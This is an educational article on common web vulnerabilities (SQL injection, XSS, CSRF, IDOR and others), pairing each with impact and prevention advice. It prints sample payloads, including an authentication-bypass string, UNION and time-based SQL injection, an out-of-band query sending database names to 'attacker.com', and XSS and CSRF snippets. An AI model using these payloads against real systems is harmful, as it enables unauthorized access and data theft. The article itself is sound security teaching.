Common vulnerabilities (SQL Injection, Cross-Site Scripting, CSRF, etc.)

Common Cyber Security Vulnerabilities  - SQL Injection, Cross-Site Scripting, CSRF, and Other Major Threats 

Introduction to Common Cyber Security Vulnerabilities

Cyber security vulnerabilities are weaknesses, flaws, or misconfigurations in applications, servers, networks, or software components that expose systems to a wide range of cyber attacks. These vulnerabilities allow attackers to gain unauthorized access, steal sensitive data, manipulate system behavior, escalate privileges, or disrupt business operations. Understanding common vulnerabilities is essential for developers, penetration testers, SOC analysts, cyber security students, and IT professionals.

Among all known vulnerabilities, some are uniquely dangerous and frequently exploited—including SQL Injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Broken Authentication, Security Misconfigurations, IDOR, and more. These are also part of the OWASP Top 10, which highlights the most critical risks affecting web applications globally. This document provides a detailed explanation of these vulnerabilities, complete with examples, code demonstrations, impact analysis, and mitigation strategies.

Understanding How Vulnerabilities Occur

Vulnerabilities mainly arise due to insecure coding practices, lack of input validation, outdated libraries, weak authentication mechanisms, poor server configurations, insufficient encryption, or failure to follow security standards. Attackers analyze web applications and APIs using tools like Burp Suite, OWASP ZAP, SQLMap, Nmap, and automated scanners to find and exploit these weaknesses.

• Lack of secure coding standards
• Failure to sanitize user input
• Improper session management
• Exposure of internal objects
• Weak access control mechanisms
• Use of outdated software versions
• Missing security headers

Below is an in-depth exploration of the most common and high-risk cyber security vulnerabilities that attackers commonly exploit.

SQL Injection (SQLi)

SQL Injection is one of the most dangerous and widely exploited vulnerabilities found in applications that communicate with relational databases like MySQL, PostgreSQL, SQL Server, SQLite, or Oracle. SQL Injection occurs when user input is directly included in a SQL query without proper validation or sanitization.

How SQL Injection Works

If an application builds SQL queries by concatenating user input directly, an attacker can inject additional SQL commands that modify the logic of the query. This leads to unauthorized data access, data manipulation, or full database compromise.

Example of a Vulnerable SQL Query

SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "';

If the attacker enters:

' OR '1'='1

The resulting query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';

This always evaluates to TRUE, allowing the attacker to bypass authentication.

Types of SQL Injection

1. Error-Based SQL Injection

The attacker exploits database error messages to extract sensitive information.

2. Union-Based SQL Injection

The attacker uses the UNION keyword to merge results from multiple queries.

' UNION SELECT username, password FROM admin --

3. Blind SQL Injection

No error messages are shown, but attackers infer behavior by observing application responses.

Boolean-Based Blind SQLi Example

' OR 1=1 --

Time-Based Blind SQLi Example

' OR IF(1=1, SLEEP(5), 0) --

4. Out-of-Band SQL Injection

Data is extracted through external channels such as DNS or HTTP requests.

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\data'));

Impact of SQL Injection

• Full database compromise
• Credential theft
• Unauthorized data manipulation
• Privilege escalation
• Potential server takeover

Preventing SQL Injection

• Use parameterized queries and prepared statements
• Implement stored procedures
• Apply input validation (allow-listing)
• Use ORM frameworks
• Limit database privileges
• Deploy a Web Application Firewall (WAF)

Example of Secure SQL Query Using Prepared Statements

PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM users WHERE username = ? AND password = ?"
);
stmt.setString(1, username);
stmt.setString(2, password);

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is a client-side vulnerability where attackers inject malicious JavaScript into web pages viewed by other users. If user input is displayed on the webpage without proper encoding, attackers can manipulate the browser, steal session cookies, and perform unauthorized actions.

Types of XSS

1. Stored XSS

The malicious script is permanently stored on the server (e.g., posts, comments, reviews).

<script>alert('Stored XSS Vulnerability');</script>

2. Reflected XSS

The malicious payload is reflected from a server (usually via URL parameters).

http://example.com/?query=<script>alert('Reflected XSS')</script>

3. DOM-Based XSS

Occurs entirely on the client-side due to insecure JavaScript functions.

document.write(location.hash);

Impact of XSS Attacks

• Session hijacking
• Website defacement
• Redirection to malicious sites
• Cookie theft
• Keylogging

Preventing XSS

• Encode output before displaying data
• Use strong input validation
• Enable Content Security Policy (CSP)
• Sanitize HTML using secure libraries
• Avoid dangerous functions like innerHTML and document.write

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) forces authenticated users to perform unwanted actions on a web application. This attack exploits the trust that a site has in a user’s browser by using cookies that are automatically sent with each request.

CSRF Attack Example

If a user is logged into a banking website, an attacker may trick them into loading an image tag:

<img src="https://bank.com/transfer?amount=5000&to=attacker">

This executes a fund transfer without the user's consent.

Impact of CSRF Attacks

• Unauthorized money transfers
• Password or email resets
• Admin privilege execution
• Account takeover

Preventing CSRF

• Use anti-CSRF tokens
• Use SameSite cookies
• Require re-authentication for critical actions
• Avoid unsafe GET requests for state-changing operations

Example of CSRF Token

<input type="hidden" name="csrf_token" value="f89bx93js9n3ns">

---

Broken Authentication

Broken authentication occurs when authentication mechanisms are improperly designed, allowing attackers to compromise passwords, session tokens, or user accounts.

Common Issues

• Weak password policies
• Missing multi-factor authentication
• Session IDs exposed in URLs
• No account lockout mechanism

Preventing Broken Authentication

• Use strong password hashing (bcrypt, Argon2)
• Enable MFA for all sensitive accounts
• Implement rate limiting
• Regenerate session IDs after login

Insecure Direct Object References (IDOR)

IDOR vulnerabilities occur when internal object identifiers are exposed to users without proper access control checks. Attackers manipulate object IDs to access unauthorized data.

Example of IDOR

https://example.com/user/profile?id=1001

Changing the ID reveals another user's profile:

https://example.com/user/profile?id=1002

Preventing IDOR

• Implement strict access controls
• Avoid predictable IDs
• Use UUIDs instead of numeric identifiers

Security Misconfigurations

Security misconfiguration is one of the most common vulnerabilities caused by improper setup or default configurations.

Examples

• Using default admin passwords
• Debug mode enabled in production
• Unnecessary open ports
• Misconfigured cloud storage buckets

Prevention

• Harden server configurations
• Disable unused features
• Apply regular security patches
• Use CIS benchmarks and hardening guides

Sensitive Data Exposure

Sensitive Data Exposure occurs when confidential or personal data is not properly protected.

Common Causes

• Weak or no encryption
• Use of outdated algorithms like MD5
• Exposed API keys in source code
• Improper database protection

Prevention

• Use TLS 1.3 for secure communication
• Encrypt sensitive data using AES-256
• Store secrets in secure vaults
• Apply zero-trust data access controls

Understanding and mitigating common cyber security vulnerabilities is essential for safeguarding applications, data, and users from cyber attacks. SQL Injection, XSS, CSRF, IDOR, security misconfigurations, and broken authentication continue to be the most exploited weaknesses due to insecure coding practices and improper configurations. Adopting secure coding standards, implementing strong input validation, following the OWASP Top 10 guidelines, conducting regular penetration testing, and deploying modern security tools can significantly reduce these risks and enhance the overall security posture of any application.